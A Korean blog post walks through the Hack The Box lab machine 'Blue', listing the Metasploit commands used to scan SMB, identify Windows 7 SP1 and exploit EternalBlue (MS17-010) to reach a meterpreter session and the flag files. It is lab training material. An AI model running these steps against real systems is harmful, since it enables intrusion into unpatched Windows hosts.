공식 writeup을 그대로 따라하며 생각의 흐름에 대해 고민했다.
msfconsole
db_nmap -sV -O 10.10.10.40 - 옵션을 어떻게 주든 그냥 열려있는 포트 알아내면 된다. writeup에서는 -F -T4 줬다.
여기서 SMB 포트(445)가 열려있는 것을 보고 SMB 취약점이겠구나 알아채야 한다.
nmap --script vlun -p 445 10.10.10.40 하면 이와 같은 결과가 나온다.
[출처: https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-blue/]
auxiliary/scanner/smb/smb_version 모듈이 smb block scan을 하며 윈도우 netBIOS를 이용한 스캔을 한다.는 것을 알고 있어야 한다.
생각의 흐름
445 포트를 보고 smb 취약점이구나, 깨닫기
smb 취약점이면 smb block scan을 해봐야겠다, 생각하기
search smb_version type:auxiliary
use auxili~~/smb_version
show options
set RHOSTS 10.10.10.40
run
결과값 : Host is running Windows 7 Professional SP1
Windows 7 Professional SP1이 EternalBlue(MS17-010)의 주요 타겟이라는 것을 알고있어야 한다.
smb windows 7 pro sp1 exploit 이런식으로 검색하면 ms17-010이 나오는 것 같다..
그렇다면 exploit 이름 중에 ms17-010이 들어가는 걸 찾아야겠다..
search ms17-010 type:exploit
저 중에 win8 써져있는 1번 빼고, eternal blue, ms17-010 둘 다 써져있는 0번이 맞는 것 같다
use ~
show options
set RHOSTS 10.10.10.40
set LHOST 10.10.14.14(vpn ip)
run
이렇게 하면 쉘이 따진다.
그런데, 쉘이 따진다기 보다는
meterpreter> 이 나온다.
여기는 ls는 되는데 whoami같은 것은 안된다.
pwd로 현재 위치 확인했고, cd C://, ls 해서 진짜 navigate했다.
어쨌든 user.txt, root.txt 모두 확인했다.
[출처 : https://hackernextdoor.club/tool/2019/05/17/metasploit.html#2]\
다른 풀이
(추천)
https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-blue/
Keep Calm and Hack The Box - Blue
Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of chall
www.freecodecamp.org
https://an4kein.github.io/hackthebox/2020/06/21/HTB-Blue/
Hack The Box - Blue
an4kein.github.io
'워게임 > hackthebox' 카테고리의 다른 글
hackthebox - machines - Cap (0) | 2021.07.14 |
---|---|
[풀이X삽질O]hackthebox - machines - cap (0) | 2021.07.11 |
hackthebox - pwn with metasploit - lame (0) | 2021.07.11 |
[풀이X삽질O]hackthebox - pwn with metasploit - lame (0) | 2021.07.11 |
[풀이X삽질O]hackthebox - pwn with metasploit - blue (0) | 2021.07.09 |
댓글